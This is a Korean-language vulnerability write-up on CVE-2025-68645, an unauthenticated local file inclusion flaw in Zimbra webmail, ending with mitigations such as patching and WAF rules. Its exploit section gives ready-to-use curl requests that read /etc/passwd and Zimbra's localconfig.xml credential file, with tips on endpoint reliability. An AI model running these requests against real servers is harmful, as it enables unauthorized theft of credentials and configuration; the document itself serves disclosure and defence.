🛡️ CVE-2025-68645 - Zimbra 로컬 파일 포함 (LFI) 분석

---

---

📌 개요

이 문서는 Zimbra Collaboration Suite에 영향을 미치는 로컬 파일 포함 (LFI) 취약점에 대해 설명합니다.

이 문제는 다음 매개변수의 부적절한 처리에서 발생합니다.

/h/*?javax.servlet.include.servlet_path=

이로 인해 인증되지 않은 사용자가 내부 애플리케이션 리소스에 접근할 수 있습니다.

🔍 취약점 세부 정보

• 유형: 로컬 파일 포함 (LFI)
• 접근: 인증되지 않음
• 영향을 받는 구성 요소: Webmail (클래식 UI)
• 공격 벡터: HTTP 요청 조작

🧪 초기 확인

테스트 요청:

curl -k "https://TARGET/h/rest?javax.servlet.include.servlet_path=/WEB-INF/web.xml"

▶️ 데모:

✅ 결과

• 내부 파일이 성공적으로 검색됨
• 부적절한 입력 처리를 확인함

⚙️ 엔드포인트 동작

여러 엔드포인트가 취약한 매개변수를 다르게 처리합니다.

예시:

/h/printcalendar?javax.servlet.include.servlet_path=...

관찰:

• 더 일관된 파일 접근 동작
• /h/rest에 비해 더 나은 응답 신뢰성

🚧 TLS 고려 사항

문제

SSL: certificate subject name does not match target host

해결 방법

curl -k "https://TARGET/..."

🚀 익스플로잇 예시

📂 내부 웹 리소스 접근

curl -k "https://TARGET/h/printcalendar?javax.servlet.include.servlet_path=/WEB-INF/web.xml"

📂 시스템 파일 접근 시도

curl -k "https://TARGET/h/printcalendar?javax.servlet.include.servlet_path=/etc/passwd"

🔐 애플리케이션 구성 접근

curl -k "https://TARGET/h/printcalendar?javax.servlet.include.servlet_path=/opt/zimbra/conf/localconfig.xml"

잠재적 노출:

• 서비스 자격 증명
• 내부 구성
• 인프라 세부 정보

🧠 영향

성공적인 익스플로잇은 다음으로 이어질 수 있습니다:

• 민감한 구성 파일 노출
• 내부 서비스 및 아키텍처 노출
• 자격 증명 유출
• 추가 침해 위험 증가

🛡️ 완화 조치

• Zimbra를 패치된 버전으로 업데이트

• 취약한 엔드포인트에 대한 접근 제한

• 의심스러운 매개변수에 대한 로그 모니터링:

  • javax.servlet.include.servlet_path

• 악성 패턴을 차단하는 WAF 규칙 배포

💡 주요 시사점

• 입력 검증 실패는 내부 리소스를 노출시킬 수 있음
• 다른 엔드포인트는 일관되지 않게 동작할 수 있음
• 구성 파일에는 종종 중요한 정보가 포함됨
• 조기 탐지는 위험을 크게 줄임

🏴 결론

• 취약점 확인됨: CVE-2025-68645
• 익스플로잇을 통해 승인되지 않은 파일 접근이 가능함
• 즉각적인 조치를 강력히 권장함